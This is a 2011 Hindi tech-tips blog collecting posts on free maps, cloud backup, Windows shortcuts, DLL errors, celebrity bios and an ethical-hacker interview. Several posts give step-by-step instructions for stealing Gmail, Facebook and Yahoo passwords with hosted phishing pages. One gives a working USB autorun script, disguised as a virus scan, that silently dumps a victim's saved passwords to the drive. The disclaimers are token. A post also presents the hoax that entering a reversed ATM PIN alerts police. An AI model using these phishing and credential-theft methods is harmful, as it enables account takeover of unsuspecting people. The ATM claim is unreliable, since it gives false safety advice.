Thursday, November 24, 2011

भारत का नक्शा फ़्री में ऑर्डर करें

जी हाँ आप सही सुन रहे है क्यों कि mapsofindia.com आपको भारत का नक्शा फ़्री में भेज रही हैं इसके लिए आपको mapsofindia.com पर सिर्फ एक फार्म भरना पडेगा और कुछ ही दिनों में भारत के नक़्शे की एक प्रति आप के दरबाजे तक निशुल्क पहुँच जाएगी।

अगर आप अपनी एक फ्री प्रति बुक करना चाहते हैं तो इस लिंक को विजिट करें -
http://www.mapsofindia.com/free-maps/index.php

अपने डाटा को ऑनलाइन सुरक्षित रखें

दोस्तों मैंने इस पोस्ट को इसलिए प्रकाशित किया क्यों की आजकल ये सुविधा सामान्यतया उपयोग में ली जाने लगी है और यह अपने डाटा को वायरसों के हमले से सुरक्षित रखने का बेहतर तरीका है तथा इसके जरिये हम अपने डाटा को कहीं भी आसानी से प्राप्त कर सकते हैं। इसे इन्टरनेट की भाषा में बैकअप ब्रीफकेस के नाम से भी जानते हैं।

बैकअप ब्रीफकेस का सबसे बड़ा फायदा यह भी है की अगर डाटा हमारे कंप्यूटर में सेव होगा तो हमें हार्ड डिस्क सम्बन्धी गड़बड़ियों तथा अन्य प्राकृतिक आपदाओं आदि से डाटा नष्ट होने का भय रहता है और यदि अगर हम इसी डाटा का ऑनलाइन बैकअप ले लें तो हमें इन सभी चिंताओं से मुक्ति मिल जाती है।
इन्टरनेट पर आजकल ऐसी कई सेवाएं मौजूद हैं जो ऑनलाइन डाटा रखने तथा शेयर करने की सुविधा फ्री में देती हैं निम्न ऑनलाइन सेवाएं डाटा बैकअप रखने की सुविधा मुहैया कराती हैं-
  • माइक्रोसाफ्ट लाइव स्काईड्राइव : - 5GB फ्री स्पेस
  • एड्राइव : - 50 GB फ्री स्पेस
  • बाक्स डाट नेट : - 1 GB फ्री स्पेस
  • माजी होम : - 2 GB फ्री स्पेस
अन्य विकल्प -

हिंदी सॉफ्टवेयर उपकरणों की सीडी मुफ्त में मंगाएं

जी हाँ दोस्तों आप टी डी आई एल (Technology for Development of Indian Languages) के जरिये विभिन्न उपयोगी हिंदी सॉफ्टवेयर व उपकरणों की सीडी मुफ्त में आर्डर कर सकते हैं, यही नहीं अगर आप भारत के बहार रहते हैं तो भी आप वहां इसे मुफ्त में आर्डर कर सकते हैं।

इस सीडी में निम्न हिंदी सॉफ्टवेयर व उपकरण मौजूद हैं-
  • हिंदी फॉण्ट
  • हिंदी मैसेंजर
  • हिंदी शब्दकोश
  • हिंदी ट्रांसलिटरेशन
  • हिंदी ओ सी आर
  • हिंदी कोड परिवर्तक
  • हिंदी ई-मेल क्लायंट
  • हिंदी ओपन ऑफ़िस
  • हिंदी वर्तनी संशोधक
  • हिंदी शब्द-संसाधक
  • हिंदी मोजिला फायरफोक्स ब्राउज़र
इस सीडी को मंगाने के लिए पहले आपको निम्न पते पर रजिस्टर होना पड़ेगा-
http://www.ildc.in/Hindi/HRegisterUser.aspx
रजिस्टर होने के बाद आप वहीँ से सीडी रिक्वेस्ट डाल सकते हैं और कुछ दिनों बाद सीडी आप के दरवाजे पर तक बिल्कुल मुफ्त पहुँच जायेगी। अगर आप कुछ दिन इंतजार नहीं करना चाहते हैं तो आप इन सोफ्टवेयर को डाउनलोड भी कर सकते हैं।

Wednesday, November 23, 2011

यदि कोई ATM CARD समेत आपका अपहरण कर ले तो विरोध मत कीजिए

यदि कोई ATM CARD समेत आपका अपहरण कर ले तो विरोध मत कीजिए । अपहर्ता की इच्छानुसार ATM मशीन मेँ कार्ड डालिए । आपका कोड वर्ड रिवर्स मेँ डायल कीजिए । जैसे यदि आपका कोड 1234 की जगह 4321 डायल कीजिए । ऐसा करने पर ATM खतरे को भाँपकर पैसा तो निकालेगा लेकिन आधा ATM मशीन मेँ फँसा रह जायेगा । इसी बीच मेँ ATM मशीन खतरे को भाँपकर बैँक और नजदीकी पुलिस स्टेशन को सूचित कर देगा और साथ ही ATM का डोर ऑटो लॉक हो जाएगा । इस तरह बगैर अपहर्ता को भनक लगे आप सुरक्षित बच जाएँगे । ATM मेँ पहले से ही सिक्योरिटी मैकेनिजम है जिसकी जानकारी बहुत कम लोगोँ को है

Tuesday, November 22, 2011

कम्प्यूटर को जल्दी से शटडाउन तथा रिस्टार्ट करने के लिये आईकॉन बनायें।

कम्प्यूटर को जल्दी से शटडाउन तथा रिस्टार्ट करने के लिये आईकॉन बनायें।

  1. डेस्क टॉप पर खाली जगह में राईट क्लिक करें।

  2. New पर क्लिक करें Shortcut पर क्लिक करें अब इस तरह की खिड़की खुलेगी इसमें आप shutdown -s -t 00 ( या %windir%\system32\shutdown.exe -s -t 00 या C:\windows\rundll.exe user.exe,exitwindowsexec) लिख कर Next पर क्लिक करें।

  3. अब जो खिड़की खुली है उसमें Shut Down लिख देवें और Finish पर क्लिक करें।

  4. जो आईकॉन बना है, उस पर राईट क्लिक कर Properties में जाकर Change icon पर क्लिक करें. मनपसन्द आईकॉन पसन्द करें।

  5. सारे प्रोग्राम बन्द कर देवें और आईकॉन पर डबल क्लिक करें, कुछ सैकण्ड ठहरें आपका कम्प्यूटर शट डाउन हो चुका है।


इसी तरह shutdown -s -t 00 में -s की जगह -r लिखने से रिस्टार्ट का आईकॉन और -l लिख कर log off का आईकॉन बनाया जा सकता है।

अब सबसे मजेदार ट्रिक जिससे आपके कम्प्यूटर के काम करने की गति कई गुना बढ़ा सकते हैं।

  • My Computer पर राईट क्लिक कर Properties में जाकर Advance पर क्लिक करें।



  • अब यह खिड़की खुली है, इस खिड़की में Performance वाले विभाग में Setting पर क्लिक करें,1.JPG

  • अब जो खिड़की खुली है उसमें Visual Effect वाले विभाग में नीचे के तीन Option को छोड़कर सब पर से राईट का चिन्ह क्लिक कर हटा देवें इस चित्र में बताये अनुसार



  • 2.JPG



  • अब Apply करें ok करें, एक बार फ़िर से ok करें।

  • अब किसी भी फ़ोल्डर या Application पर क्लिक करें अरे वाह कम्प्यूटर की स्पीड तो बहुत तेज हो गयी है।

रन टाइम एरर

क्या किसी अपने कम्प्यूटर के प्रोग्राम को चलाते समय आपके साथ ऐसी परेशानी आई है जिसमें प्रोग्राम को चलाने पर (रन करने पर) वो प्रोग्राम ना चले और आपको इस तरह के संदेश मिले?

Run time Error 713
"Class not registered"
"You need the following file to be intalled on your machine: MSSTDFMT.DLL"

ऐसा मेरे साथ कई बार हुआ है जब किसी कारण से मुझसे विन्डो इन्स्टाल ना हुआ हो या किसी सोफ्टवेयर को अनइंस्टाल करते समय जिन फाइलों को मुझे बचा कर रखनी चाहिये; की जगह मैने रिमूव आल कर दी हो।
यह परेशानी कई बार अलग अलग प्रोग्राम को चलाते समय आती है, बस फाइल के नाम बदल जाते हैं जैसे: MSCOMCTL.OCX, MFC42.DLL आदि। ऐसा उपरोक्त फाईल की रजिस्ट्री में गड़बड़ होने पर भी होता है।

इस एरर से मुक्ति पाने का तरीका है कि उक्त फाईल को अपने सिस्टम पर इंस्टाल कर दी जाये, परन्तु इन फाईलों को डबल क्लिक कर जैसे हम दूसरे सोफ्टवेर इन्स्टाल करते हैं इन्हें नहीं कर सकते। इन्हें इंस्टाल करने का तरीका थोड़ा अलग है।
आईये इसका सही तरीका बताते हैं।
  1. सबसे पहले आपको जो फाइल चाहिये उस फाइल को गूगल में सर्च कर डेस्कटॉप पर डाउनलोड कर लें, और अबइसे कॉपी करें।
  2. अब आप C:\windows\system32 में जाकर इसे पेस्ट कर दें।अब Start-Run में जाकर यह टाइप करें regsvr32 MSCOMCTL।OCX
  3. regsvr32 के बाद एक स्पेस जरूर दें!
  4. जहाँ MSCOMCTL.OCX इस जगह आप उस फाईल का नाम टाइप करें जिसे आपने अभी अभी C:\windows\system32 में पेस्ट किया है।
अब ओके करें या इन्टर दबा दें।
आपको संदेश मिलेगा "DllRegisterServer ... succeeded"

बस आपका काम हो चुका है। अब एक बार सिस्टम को रिस्टार्ट करें, और अब देख लें आपका को प्रोग्राम पहले नहीं चल रहा था अब चलने लगा है।

Monday, November 21, 2011

बेयर ग्रिल्स

Edward Michael Grylls
Bear Grylls 2.jpg
जन्म 7 जून 1974 (1974-06-07) (age 37)
Northern Ireland
आवास Barge moored by Battersea Bridge on the River Thames,[1] and an island on Llŷn Peninsula, Abersoch North Wales[2]
व्यवसाय Adventurer,
author,
motivational speaker,
television presenter
Chief Scout
जीवनसाथी Shara Cannings Knight[3]
बच्चे Jesse, Marmaduke,[4] and Huckleberry[5]
जालस्थल
BearGrylls.कॉम
दोस्तों क्या इन्हें जानते है नहीं जानते तो हम बताते है एडवर्ड माइकल ग्रिल्स , उपनाम बेयर , (जन्म 7 जून 1974) एक ब्रिटिश साहसकर्मी, लेखक और टेलीविज़न प्रस्तोता हैं. वे अपनी टेलीविज़न श्रृंखला बॉर्न सरवाइवर के लिए विशेष रूप से जाने जाते हैं, जिसे संयुक्त राज्य अमेरिका, कनाडा, ऑस्ट्रेलिया और न्यूज़ीलैंड में मैन वर्सस वाइल्ड के रूप में जाना जाता है. वे माउंट एवरेस्ट पर चढ़ने वाले ब्रिटेन के सबसे युवा लोगों में से एक हैं, जो उपलब्धि उन्होंने 23 साल की उम्र में हासिल की. जुलाई 2009 में ग्रिल्स, 35 साल की उम्र में चीफ़ स्काउट के पद पर नियुक्त होने वाले सबसे युवा व्यक्ति थे।

-निजी जीवन-


ग्रिल्स का पालन-पोषण चार साल की उम्र तक डोनाघडी, उत्तरी आयरलैंड[citation needed] में हुआ, जिसके बाद उनका परिवार आइल ऑफ व्हाइट पर बेम्ब्रिज में स्थानांतरित हो गया.[6][7] वे अनुदार दल के राजनेता स्वर्गीय सर माइकल ग्रिल्स और लेडी ग्रिल्स (उर्फ़ सारा फोर्ड) के सुपुत्र हैं. उनके नाना थे नेविल फ़ोर्ड, जिन्होंने प्रथम श्रेणी का क्रिकेट खेला था, और नानी पेट्रिशिया फ़ोर्ड [8], अलस्टर संघवादी दल की सांसद थीं. उनकी एक बड़ी बहन हैं लारा फ़ॉसेट, जो एक कार्डियो-टेनिस कोच हैं. हॉलीवुड अभिनेता विल फ़ेरेल अभिनीत मैन वर्सस वाइल्ड की एक कड़ी में उन्होंने कहा कि जब वे सिर्फ़ एक सप्ताह के थे, तब उनकी बहन ने उन्हें बेयर उपनाम दिया था.

ग्रिल्स की पढ़ाई इटन हाउस, लुडग्रोव स्कूल, एटन कॉलेज, और बर्कबेक, लंदन विश्वविद्यालय में हुई,[9] जहां उन्होंने 2002 में हिस्पैनिक स्टडीज़ में अंशकालिक स्नातक डिग्री प्राप्त की. उन्होने बहुत कम उम्र में ही अपने पिता से ऊंचाइयों पर चढ़ना और जहाज़ चलाना सीखा. किशोर वय में उन्होंने शोटोकन कराटे में दूसरा डैन ब्लैक बेल्ट अर्जित किया. अब वे योग और नींजुत्सू का अभ्यास करते हैं. वे आठ साल की उम्र में ही बतौर कब स्काउट, स्काउटिंग में शामिल हो गए.वे अंग्रेज़ी, स्पेनिश और फ्रेंच बोलते हैं. ग्रिल्स ईसाई हैं, और अपने जीवन की "रीढ़" के रूप में धर्म को वर्णित करते हैं.

ग्रिल्स ने 2000 में शारा ग्रिल्स (उर्फ़ कैनिंग्स नाइट) से शादी की.[3][8] उनके तीन बेटे हैं: जेस्सी, मर्मदुके, और हकलबेरी (जिसका जन्म 15 जनवरी 2009 को, उनके हाउसबोट पर प्राकृतिक प्रसव द्वारा हुआ).

दिसंबर 2008 में ग्रिल्स का कंधा टूट गया, जब वे एक स्वतंत्र अभियान के दौरान अंटार्कटिका के दूरदराज की दुर्गम चोटी पर चढ़ने की कोशिश में, बर्फ़ीले प्रदेश में काइट-स्कीइंग कर रहे थे। 50 कि.मी. प्रति घंटे (30 mph) की गति से यात्रा करते समय, बर्फ़ पर स्की के फंस जाने से, वे हवा में उछल पड़े और जब वे नीचे गिरे, तो उनका कंधा टूट गया

-सैन्य आरक्षित सेवा-


स्कूल छोड़ने के बाद ग्रिल्स ने भारतीय सेना[14] में शामिल होने पर विचार किया[14] और सिक्किमपश्चिम बंगाल, असम में हिमालय पर्वत श्रृंखला में पदयात्रा करते हुए कुछ महीने बिताए. 1994 से 1997 तक, यूनाइटेड किंगडम विशेष बल में चयन के बाद, उन्होंने यूनाइटेड किंगडम विशेष बल के 21 रेजिमेंट विशेष वायु सेवा, 21 SAS (R) के साथ घुड़सवार सिपाही, जीवन-रक्षा प्रशिक्षक और गश्ती चिकित्सक के रूप में अंशकालीन सेवा की.[15] उन्होंने उत्तरी अफ्रीका में दो बार सेवारत रहने का दावा किया है.[12] 1996 में वे केन्या में एक पैराशूटिंग फ़्रीफ़ॉल दुर्घटना के शिकार हुए. उनकी छतरी 1,600 फीट (500 मी.) पर फट गई, जिसके आंशिक रूप से खुलने की वजह से, वे पैराशूट पैक पर अपनी पीठ के बल पर नीचे गिरे, जिससे कारण अंशतः उनकी तीन कशेरुकाएं टूट गईं.[16] ग्रिल्स ने बाद में कहा: "मुझे मुख्य पैराशूट को काट देना चाहिए था और रिज़र्व को लेना चाहिए था, लेकिन मैंने सोचा कि समस्या को सुलझाने के लिए काफ़ी समय है.[17] उनके सर्जन के अनुसार ग्रिल्स जीवन भर के लिए लक़वा से ग्रसित होने से "बाल-बाल बचे" थे और पहले यह संदेहास्पद था कि क्या वे फिर कभी चल पाएंगे. ग्रिल्स ने रिहाई से पूर्व, अगले 18 महीने हेडली कोर्ट के सैन्य स्वास्थ्य-लाभ केन्द्र में आने-जाने में बिताए[17] और माउंट एवरेस्ट पर चढ़ाई का अपना बचपन का सपना पूरा करने के लिए प्रयासरत रहे.

SAS के पूर्व सैनिक क्रिस रियान ने कहा कि वे विश्वास नहीं करते कि अफ्रीका के एक SAS अभियान के दौरान ग्रिल्स का मेरुदण्ड टूटा और उन्होंने कहा कि ग्रिल्स ने अपने सैन्य जीवन की कहानियों को बढ़ा-चढ़ा कर कहा है. रियान ने कहा: "बेयर ग्रिल्स अफ्रीका के एक अभियान के बारे में कहते ही रहते हैं. वे लोगों से कहते हैं कि एक अभियान के दौरान उनका मेरुदण्ड टूटा, लेकिन मैं नहीं जानता कि अफ्रीका के किस भाग में वे अभियान में शामिल थे. मैंने कई लोगों से बात की, जो रेजिमेंटल सार्जेंट मेजर और रेजिमेंटल SAS में प्रशिक्षक हैं, लेकिन उनमें से कोई भी इस अभियान को याद नहीं कर पाता है."[18]

2004 में ग्रिल्स को रॉयल नेवल रिज़र्व में लेफ्टिनेंट कमांडर के मानद दर्जे से सम्मानित किया गया

-एवरेस्ट-

6 मई 1998 को ग्रिल्स ने अपने बचपन के सपने को साकार किया (एक महत्वाकांक्षा, जो आठ साल की उम्र में उनके पिता द्वारा एवरेस्ट का एक चित्र देने पर उनके मन में जगी थी) और मेरुदण्ड टूटने के सिर्फ़ अठारह महीने बाद, 23 साल के युवा ब्रिटेनवासी के रूप में एवरेस्ट पर चढ़ने का रिकॉर्ड कायम किया. लेकिन ऑस्ट्रेलियाई/ब्रिटिश पर्वतारोही जेम्स एलन ने 1995 में एक ऑस्ट्रेलियाई टीम के साथ, जिनके पास दोहरी नागरिकता थी, 22 साल की उम्र में ही एवरेस्ट पर चढ़ कर ग्रिल्स को पछाड़ दिया.[20] इस उपलब्धि को बाद में जेक मेयेर और केवल 19 साल की उम्र में रॉब गौंट्लेट ने मात दी. 2001 में नेपाली तेम्बा टशेरी, 16 साल की उम्र में इस चोटी पर पहुंचे.

एवरेस्ट के दक्षिणपूर्वी दिशा में ग्रिल्स को अभियान में लगभग चार महीने लगे: अपनी पहली सर्वेक्षण चढ़ाई में जब वे एक हिम-दरार में गिरे और बेहोश हो गए थे, तब से होश में आने के बाद खुद को एक रस्सी के सिरे से झूलते हुए पाने तक, उसके बाद कई सप्ताह दक्षिणी दिशा में कई बार ऊपर चढ़ने और उतरने की परिस्थिति-अनुकूलन चढ़ाइयां, खंबु हिमपात (जमी नदी), पश्चिमी Cwm ग्लेशियर और लोहट्से नामक 5000 फुट की बर्फ़ की दीवार को पार करना, पूर्व-SAS सैनिक नील लाफ़्टन के साथ कठिन चढ़ाई, जिसमें कई घंटों तक रात की चढ़ाई करनी पड़ी, जहां उन्हें उग्र मौसम, थकान, निर्जलीकरण, आख़िरी मिनट में बीमारी, उन्निद्रा और समुद्र तल से तीन गुणा जहां वायु विरल है, उस मृत्यु-मंडल में ऑक्सीजन के ख़त्म होने का सामना करना पड़ा.

हिमालय में ऐसी ऊंचाइयों पर चढ़ने की तैयारी के दौरान, 1997 में ग्रिल्स अमा डबलम की चढ़ाई करने वाले सबसे कम उम्र के ब्रिटेनवासी बने, जिसे सर एडमंड हिलेरी ने "अलंघ्य चोटी" के रूप में वर्णित किया है।

-बॉर्न सरवाइवर/मैन वर्सस वाइल्ड-


ग्रिल्स ने ब्रिटेन के चैनल 4 के लिए बॉर्न सरवाइवर: बेयर ग्रिल्स नामक एक श्रृंखला की मेज़बानी की और जो ऑस्ट्रेलिया, कनाडा और अमरीका में मैन वर्सस वाइल्ड के रूप में और यूरोप , एशिया तथा अफ्रीका में डिस्कवरी चैनल पर अल्टीमेट सरवाइवर के रूप में प्रसारित हुआ. इस श्रृंखला में ग्रिल्स को दुर्गम स्थानों में छोड़ दिया जाता है और दर्शकों को दिखाया जाता है कि वे उन स्थानों में कैसे जीवित रहते हैं. अमेरिका में इसका दूसरा सीज़न 15 जून 2007 को, तीसरा नवंबर 2007 में, और चौथा मई 2008 में प्रीमियर किया गया. ग्रिल्स इस समय[कब?] पांचवें सत्र का फ़िल्मांकन कर रहे हैं.

इस कार्यक्रम में प्रत्यक्ष रूप से स्टंट दिखाए गए, जिनमें शामिल हैं ग्रिल्स द्वारा चट्टानों पर चढ़ाई, हेलीकाप्टर, गुब्बारे और विमानों से पैराशूटिंग, पैराग्लाइडिंग, बर्फ़ पर चढ़ाई, दावानल में दौड़, तेज़ बहाव वाली नदी पार करना, सांपों को खाना, रेगिस्तान की गर्मी से बचने के लिए मूत्र से लथपथ टी-शर्ट को सिर पर बांधना, सांप की त्वचा में एकत्रित मूत्र को पीना, हाथी के गोबर से मलीय तरल पीना, घड़ियाल से कुश्ती, ऊंट लोथ पहनना और उससे पानी पीना, विभिन्न "विसर्पी प्राणियों" [कीड़ों] को खाना, भेड़ की लाश का बिस्तर और प्लवन उपकरण के रूप में उपयोग, और जलप्रपातों पर मुक्त चढ़ाई। ग्रिल्स बीहड़ प्रदेश में असहाय या विफल साहसिक कारनामों से भी अपने दर्शकों का मनोरंजन करते हैं.



-परोपकार-


ग्रिल्स के सभी अभियान और स्टंट ने धर्मार्थ संगठनों के लिए पैसे जुटाए.[citation needed] ग्रिल्स द प्रिंस ट्रस्ट के एम्बैसिडर हैं, एक ऐसा संगठन जो यूनाइटेड किंगडम में युवा लोगों को प्रशिक्षण, वित्तीय सहायता और व्यावहारिक सहयोग प्रदान करता है.[12] साथ ही, ग्रिल्स JoLt ट्रस्ट के उपाध्यक्ष हैं, एक छोटी चैरिटी जो विकलांग, वंचित, प्रताड़ित या उपेक्षित युवा लोगों को महीने भर के चुनौतीपूर्ण अभियान पर ले जाती है.

माउंट एवरेस्ट से अधिक ऊंचाई पर मशीनी पैराग्लाइडर ले जाने के उनके 2007 के प्रयास के हिताधिकारी हैं ग्लोबल एन्जिल्स, जो दुनिया भर के बच्चों की सहायता करने वाली ब्रिटेन की एक धर्मार्थ संस्था है. ग्रिल्स द्वारा सर्वाधिक 25,000 फीट की ऊंचाई पर डिनर पार्टी के आयोजन का उद्देश्य द ड्यूक ऑफ़ एडिनबर्ग पुरस्कार योजना के सहायतार्थ किया गया प्रयास था और उन्होंने पुरस्कार की 50वीं सालगिरह का शुभारंभ किया. जेट स्की पर ब्रिटेन का जल पथ से परिभ्रमण करने का उनका प्रयास, रॉयल नेशनल लाइफ़बोट इंस्टीट्यूशन के लिए पैसा इकट्ठा करना था. ग्रिल्स के एवरेस्ट पर चढ़ाई का प्रयास SSAFA फोर्सेस हेल्प के सहायतार्थ था, जो ब्रिटिश सशस्त्र बलों के पूर्व और वर्तमान सदस्यों और उनके परिवारों तथा आश्रितों की सेवा करने वाला ब्रिटिश आधारित धर्मार्थ संगठन है. पुस्तक फ़ेसिंग द फ्रोज़न ओशन में वर्णित उनका 2003 का आर्कटिक अभियान, द प्रिंस ट्रस्ट के सहायतार्थ था. 2005 में एंजल जलप्रपात पर पैरामोटर का उनका प्रयास, होप एण्ड होम्स फॉर चिल्ड्रेन चैरिटी की मदद के लिए था.
मजा आया ना ये मुझे बहुत पसंद है इनका शो

मैन वर्सस वाइल्ड हमेसा देखता हू



कीथ बैरी

Keith Barry

Keith Barry, 2009
Born Keith Patrick Barry
25 October 1976 (1976-10-25) (age 35)
County Waterford, Ireland
Occupation Illusionist, mentalist




Years active 2003–present


दोस्तों क्या आप इन्हें जानते है नहीं जानते मै बताता हू ये है कीथ बैरी जो जादूगर और Illusionist, mentalist है और जादूगर भी है ये किसी भी के मन की बात जान लेते है और झूठ पकड़ लेते है और ये Deception with Keith Barry नाम के शो Discovery Channel में आते है

ये आपके दिमाग को चकरा देंगे










कुछ और लेख जो शायद आपको पसंद आयेंगे ...

Sunday, November 20, 2011

किसी भी जगह की दुरी ओर टाइम का पता लगाये

अगर कही आपका मन कही घुमने का हो रहा हो और अगर आपको ये ना मालूम हो की जिस जगह आपको जाना है वो आपके शहर से कितनी दूर है और वह पहुचने में आपको कितना टाइम लगेगा तो आज मैं आपको एक ऐसी ही साईट पर लेकर चलता हु जहाँ आप किसी भी जगह की दुरी का पता लगा सकते हो और साथ ही साथ ये भी पता लगा सकते हो कि उस जगह तक पहुचने में आपको कितना टाइम लगेगा ये साईट मेरे लिए तो बहुत ही काम की साईट है क्युकी मुझे अपने हरिद्वार से किसी भी जगह की दुरी का नहीं पता और ना ही ये पता है की उस जगह पर पहुचने में कितना टाइम लगेगा बस इतना जरुर पता है कि हरिद्वार से ऋषिकेश पहुचने में 25 मिनट लगते है खेर छोड़ो मेरी बाते यहाँ क्लीक करके आप उस साईट पर पहुचो और जिस भी जगह की दुरी देखनी है वहा उन दो जगह का नाम डालो जहा आपको अपने शहर से किसी और जगह जाना है जेसे पहले बॉक्स में हरिद्वार और दुसरे बॉक्स में ऋषिकेश डालो और View Route Map पर क्लीक कर दो ऐसा करते ही आपके सामने पूरा नक्शा आ जायेगा और साथ ही साथ जगह की दुरी और वह तक पहुचने में कितना टाइम लगेगा इसकी भी जानकारी आपको मिल जाएगी

Friday, November 18, 2011

जीमेल आईडी हैक करे

नोट: ये सिर्फ़ जानकारी के लिए बता रहा हु इसका इस्तमाल ग़लत काम के लिए करे id bहैक करना एक cyber crime है इसे अंग्रेजी में भी समझ ले ....

Using a phisher to capture login credentials from users unsuspectedly will give you jail time The owner/author/distrutor of this pack is not responsible for anything you do with this phisher and everything is totally your own fault.


सबसे पहले इस फाइल को डाउनलोड करे
download
इस के अन्दर दो फाइल है
1.index.html
2.login.php
यह एक zip file है इसे डाउनलोड कर ने के बाद राईट click कर के extract कर ले।
अब कोई भी वेब होस्टिंग वाले site पे जा के रजिस्टर कर के एक अकाउंट बना ले
जैसे:-
http://www.110mb.com/

ईमेल वेरिफिकेशन के बाद अब इस पे आप अपना अकाउंट से लोगिन करे और फाइल मेनेजर पे click करे


और ऊपर तीनो फाइल है उसे वेब होस्टिंग वाले site में अपलोड कर दे

अब index.html नाम वाले फाइल क्लीक करे। ये एक दम gmail पेज की तरह ही दिखे गा ये लिंक किसी को भी दे और जैसे ही इस पेज पे लोगिन करे गा आप को पासवर्ड मालूम हो जाएगा


password जानने के लिए log.txt(जो अपने वेब होस्टिंग पेज को रिफ्रेश करने पर अपने आप आ जायेगा) वाले फाइल पे click करे उसपे आपको user name,password मालूम हो जाएगा जिसने आपके fake gmail page पे लोगिन किया होगा

फेसबुक आईडी हैक करे

सबसे पहले इस फाइल को डाउनलोड करे

download

इस के अन्दर दो फाइल है
1.index.html
2.login.php
यह एक zip file है इसे डाउनलोड कर ने के बाद राईट click कर के extract कर ले।
अब कोई भी वेब होस्टिंग वाले site पे जा के रजिस्टर कर के एक अकाउंट बना ले
जैसे:-
http://www.110mb.com/

ईमेल वेरिफिकेशन के बाद अब इस पे आप अपना अकाउंट से लोगिन करे और फाइल मेनेजर पे click करे


और ऊपर तीनो फाइल है उसे वेब होस्टिंग वाले site में अपलोड कर दे

अब index.html नाम वाले फाइल क्लीक करे। ये एक दम facebook पेज की तरह ही दिखे गा ये लिंक किसी को भी दे और जैसे ही इस पेज पे लोगिन करे गा आप को पासवर्ड मालूम हो जाएगा


password जानने के लिए log.txt(जो अपने वेब होस्टिंग पेज को रिफ्रेश करने पर अपने आप आ जायेगा) वाले फाइल पे click करे उसपे आपको user name,password मालूम हो जाएगा जिसने आपके fake facebook page पे लोगिन किया होगा


नोट: किसी भी प्रकार का hacking करना cyber crime हैइसलिए इस फाइल को अपलोड करने के बाद delet कर दे । term$condition पढ़े(web hosting account ka)

PEN DRIVE से पासवर्ड हैक करे.........

सबसे पहले ये फाइल डाउनलोड करे जो बहुत ही कम साइज़ का है...



करे करने के बाद extract कर ले

पेस्ट के कर कॉपी को कोड लिखे ".exe" के कर ओपन नोत्पद अब अब नोत्पद ओपन कर के लिखे
(Eample:-mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe)

अब notpad ओपन कर के निचे लिखे कोड को कॉपी कर के पेस्ट करे।


[autorun]
open=launch.bat
ACTION= Perform a Virus Scan


और इसे save autorun.inf नाम से सेव करे

अब दूसरा notpad ओपन करे और कोड को कॉपी कर के पेस्ट करे


start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt


इसे launch.bat नाम से save करे और save करने के बाद इस फाइल को कॉपी करके पेन drive में पेस्ट कर ले

अब आपका पासवर्ड हैक करने वाला यन्त्र तैयार है

अब जिस किसी के भी कंप्यूटर से पासवर्ड चुराना है उसके कंप्यूटर में पेन drive लगा दे
इसके लगाने के बाद एक autorun pop-up विंडो खुलेगी। जिसमे पहला option चुने (Perform a Virus Scan).
अब ये यन्त्र चुप चाप कंप्यूटर पे डालने वाले पासवर्ड को पेन drive में .txt नाम के फाइल में save करता जायेगा जिसे आप देख सकते है

याहू आईडी हैक करे

नोट: ये सिर्फ़ जानकारी के लिए बता रहा हु इसका इस्तमाल ग़लत काम के लिए करे id हैक करना एक cyber crime है



सबसे पहले इस फाइल को डाउनलोड करे
download
इस के अन्दर तीन फाइल है
1.12345
2.yahoo
3.login
यह एक zip file है मात्र 11.16 kb में इसे डाउनलोड कर ने के बाद राईट click कर के extract कर ले।
अब कोई भी वेब होस्टिंग वाले site पे जा के रजिस्टर कर के एक अकाउंट बना ले
जैसे:-
http://www.110mb.com/
अब इस पे आप अपना अकाउंट से लोगिन करे और फाइल मेनेजर पे click करे
फोटो देखे



और ऊपर तीनो फाइल है उसे वेब होस्टिंग वाले site में अपलोड कर दे

अब yahoo.html नाम वाले फाइल क्लीक करे। ये एक दम yahoo पेज की तरह ही दिखे गा ये लिंक किसी को भी दे और जैसे ही इस पेज पे लोगिन करे गा आप को पासवर्ड मालूम हो जाएगा


password janne के लिए 123456 वाले फाइल पे click करे उसपे आपको user name,password,और ip addres मालूम हो जाएगा जिसने आपके fake yahoo page पे लोगिन किया होगा


अगर कोई समस्या हो तो हमें जरुर बताये

बाकि खूब मौज मस्ती करते रहे..........

एथिकल हैकर की डिमांड ज्यादा

कोटा। पहली बार कोटा आए युवा एथिकल हैकर अंकित फाडिया ने भास्कर से खास बातचीत में कहा कि दुनियाभर में हैकिंग व साइबर क्राइम से सरकारें, सेना, पुलिस, बैंक, कापरेरेट सेक्टर और इंटरनेट यूजर्स खासे परेशान हैं। एथिकल हैकर्स की डिमांड ज्यादा होने से इसमें अच्छा कॅरिअर बनाया जा सकता है। इसके लिए एक प्रोग्रामिंग लैंग्वेज, नेटवर्किग, यूनिक्स ऑपरेटिंग सिस्टम का नॉलेज और एक क्रिमिनल की तरह सोचने की क्षमता होना जरूरी है।


उन्होंने कहा कि वाईफाई नेटवर्क होने से साइबर आतंकी कभी भी संसद की गोपनीय सूचनाएं भी हैक कर सकते हैं। इससे बचने के लिए हमें साइबर सिक्योरिटी पॉलिसी और साइबर ऑडिट जैसे विकल्पों पर तेजी से अमल करना होगा। संवेदनशील डाटा ऑनलाइन होने से हाई रिस्क रहती है, इसे कोई भी क्रिमिनल हैकर सर्च कर सकता है। बचपन में खेल-खेल में हैकिंग करने वाले अंकित एथिकल हैकर के रूप में अंतरराष्ट्रीय पहचान बना चुके हैं।
४५ देशों में १ हजार लाइव सेमिनार

कार्यक्रम संयोजक अविनाश बेदी ने बताया कि 25 साल के अंकित फाडिया अब तक हैकिंग पर 14 किताबें लिख चुके हैं। उन्होंने 12 साल की उम्र में देश में हैकिंग पर सबसे पहली किताब लिख दी थी। अब तक 45 से ज्यादा देशों में 1 हजार लाइव सेमिनार व कंसलटेंसी ट्रेनिंग दे चुके फाडिया डिजिटल इंटेलीजेंस कंसल्टेंट भी हैं। वे ईथिकल हैकिंग पर पीजी डिप्लोमा व डिग्री कोर्स भी चलाते हैं। भारत-पाक साइबर आतंकी हमले के दौरान 16 साल की उम्र में आतंकी धमकियां मिलने पर उन्हें 7 दिन पुलिस सुरक्षा में रहना पड़ा था।

हैकिंग के आगे कुछ भी सैफ नहीं

कोटा पुलिस व कई आईटी एक्सपर्ट की मौजूदगी के बीच 25 साल के अंकित फाडिया ने बीएसएनएल की वेबसाइट हैक कर ली। उस पर बिल संबंधी गोपनीय जानकारी भी उजागर कर दी। फिर एक पुलिसकर्मी को मंच पर बुलाया और उनके सामने उन्हीं की आईडी खोल दी।

